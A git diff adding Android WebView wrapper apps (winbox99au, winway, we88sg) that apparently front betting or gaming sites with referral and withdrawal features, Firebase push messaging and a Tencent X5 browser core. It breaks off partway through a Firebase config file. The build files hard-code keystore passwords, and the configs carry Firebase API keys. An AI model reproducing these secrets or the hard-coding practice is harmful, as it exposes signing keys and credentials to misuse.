0000000..dca93c0 --- /dev/null +++ b/we88sg/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/we88sg/src/main/res/xml/provider_paths.xml b/we88sg/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/we88sg/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/we88sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/we88sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/we88sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/winbox99au/.gitignore b/winbox99au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/winbox99au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/winbox99au/build.gradle b/winbox99au/build.gradle new file mode 100644 index 0000000..d71401a --- /dev/null +++ b/winbox99au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.winbox99au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "winbox99au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/winbox99au/dskjweb.jks b/winbox99au/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/winbox99au/dskjweb.jks differ diff --git a/winbox99au/google-services.json b/winbox99au/google-services.json new file mode 100644 index 0000000..32ec43f --- /dev/null +++ b/winbox99au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "739924281210", + "project_id": "winbox99-49c17", + "storage_bucket": "winbox99-49c17.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:739924281210:android:ee7caf66aa7771b74e38c3", + "android_client_info": { + "package_name": "com.web.winbox99au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCxwhvjr58NUdPJWj2CJiNOtJOQgwb3ouM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/winbox99au/ppn.jks b/winbox99au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/winbox99au/ppn.jks differ diff --git a/winbox99au/proguard-rules.pro b/winbox99au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/winbox99au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/winbox99au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/winbox99au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/winbox99au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/winbox99au/src/main/AndroidManifest.xml b/winbox99au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..017762b --- /dev/null +++ b/winbox99au/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/java/com/web/winbox99au/MainActivity.java b/winbox99au/src/main/java/com/web/winbox99au/MainActivity.java new file mode 100644 index 0000000..76936e8 --- /dev/null +++ b/winbox99au/src/main/java/com/web/winbox99au/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.winbox99au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 192; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://winbox99au.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fc0000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#c70003"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/winbox99au/src/main/java/com/web/winbox99au/MyFirebaseMessageingService.java b/winbox99au/src/main/java/com/web/winbox99au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..8a8167c --- /dev/null +++ b/winbox99au/src/main/java/com/web/winbox99au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.winbox99au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/winbox99au/src/main/java/com/web/winbox99au/WebApplication.java b/winbox99au/src/main/java/com/web/winbox99au/WebApplication.java new file mode 100644 index 0000000..481b09a --- /dev/null +++ b/winbox99au/src/main/java/com/web/winbox99au/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.winbox99au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/winbox99au/src/main/res/drawable-anydpi/ic_action_back.xml b/winbox99au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/winbox99au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/winbox99au/src/main/res/drawable-hdpi/ic_action_back.png b/winbox99au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/winbox99au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/winbox99au/src/main/res/drawable-mdpi/ic_action_back.png b/winbox99au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/winbox99au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/winbox99au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/winbox99au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/winbox99au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable-xhdpi/ic_action_back.png b/winbox99au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/winbox99au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/winbox99au/src/main/res/drawable-xxhdpi/ic_action_back.png b/winbox99au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/winbox99au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/winbox99au/src/main/res/drawable/big_bg.xml b/winbox99au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..74fca26 --- /dev/null +++ b/winbox99au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable/ic_launcher_background.xml b/winbox99au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/winbox99au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/winbox99au/src/main/res/drawable/input_bg.xml b/winbox99au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/winbox99au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/winbox99au/src/main/res/drawable/pass_word_bg.xml b/winbox99au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/winbox99au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/winbox99au/src/main/res/drawable/pass_word_bg1.xml b/winbox99au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/winbox99au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable/pass_word_bg2.xml b/winbox99au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/winbox99au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable/shape_btn_bg.xml b/winbox99au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/winbox99au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable/shape_dialog_bg2.xml b/winbox99au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/winbox99au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable/shape_dialog_bg3.xml b/winbox99au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/winbox99au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/drawable/shape_dialog_bg_new.xml b/winbox99au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/winbox99au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/winbox99au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/winbox99au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/winbox99au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/winbox99au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/mipmap-hdpi/ic_empty.png b/winbox99au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/winbox99au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/winbox99au/src/main/res/mipmap-hdpi/ic_pull_down.png b/winbox99au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/winbox99au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/winbox99au/src/main/res/mipmap-xhdpi/ic_close.png b/winbox99au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/winbox99au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/winbox99au/src/main/res/mipmap-xhdpi/ic_menu.png b/winbox99au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/winbox99au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/winbox99au/src/main/res/mipmap-xxhdpi/app_logo.jpg b/winbox99au/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..ea72c78 Binary files /dev/null and b/winbox99au/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/winbox99au/src/main/res/values-en/strings.xml b/winbox99au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/winbox99au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/winbox99au/src/main/res/values-night/themes.xml b/winbox99au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/winbox99au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/values/colors.xml b/winbox99au/src/main/res/values/colors.xml new file mode 100644 index 0000000..1d73d28 --- /dev/null +++ b/winbox99au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #fc0000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/winbox99au/src/main/res/values/strings.xml b/winbox99au/src/main/res/values/strings.xml new file mode 100644 index 0000000..98f15b9 --- /dev/null +++ b/winbox99au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + WINBOX99AU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/values/themes.xml b/winbox99au/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/winbox99au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/xml/app_updater_paths.xml b/winbox99au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/winbox99au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/xml/network_security_config.xml b/winbox99au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/winbox99au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/winbox99au/src/main/res/xml/provider_paths.xml b/winbox99au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/winbox99au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/winbox99au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/winbox99au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/winbox99au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/winway/.gitignore b/winway/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/winway/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/winway/build.gradle b/winway/build.gradle new file mode 100644 index 0000000..31fe1c6 --- /dev/null +++ b/winway/build.gradle @@ -0,0 +1,83 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 30 + buildToolsVersion "30.0.3" + + defaultConfig { + applicationId "winway.calculcator" + minSdkVersion 21 + targetSdkVersion 30 + versionCode 40 + versionName "3.2.0" + + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + signingConfigs { + debug { + storeFile file('jiyoukey') + storePassword "123456" + keyAlias 'jiyou' + keyPassword "123456" + } + release { + storeFile file('jiyoukey') + storePassword "123456" + keyAlias 'jiyou' + keyPassword "123456" + } + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + implementation 'androidx.appcompat:appcompat:1.1.0' + implementation 'com.google.android.material:material:1.1.0' + implementation 'androidx.constraintlayout:constraintlayout:1.1.3' + testImplementation 'junit:junit:4.+' + androidTestImplementation 'androidx.test.ext:junit:1.1.1' + androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' + implementation files('libs\\tbs_sdk_thirdapp_v4.3.0.386_44286_20230210.jar') + + // okhttp相关库 + implementation 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + implementation 'com.google.code.gson:gson:2.9.0' + implementation 'com.alibaba:fastjson:1.1.71.android' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + implementation 'com.squareup.okhttp3:logging-interceptor:3.10.0' + implementation 'com.github.Justson.AgentWeb:agentweb-core:v5.0.6-androidx' // (必选) + implementation 'com.github.Justson.AgentWeb:agentweb-filechooser:v5.0.6-androidx' // (可选) + implementation 'com.github.Justson:Downloader:v5.0.4-androidx' + //implementation 'com.tencent.tbs:tbssdk:44286' + // sdk 33 +// implementation platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging +// implementation("com.google.firebase:firebase-messaging") +// implementation("com.google.firebase:firebase-analytics") + + implementation("com.google.firebase:firebase-messaging:23.0.0") + implementation("com.google.firebase:firebase-analytics:20.0.0") + // implementation 'com.google.firebase:firebase-messaging-directboot:20.2.0' //直接启动模式 +} \ No newline at end of file diff --git a/winway/google-services.json b/winway/google-services.json new file mode 100644 index 0000000..b39a59a --- /dev/null +++ b/winway/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "213027534316", + "project_id": "winway-1c41a", + "storage_bucket": "winway-1c41a.appspot.com" + }, + "client": [ + { + "client_info": { + 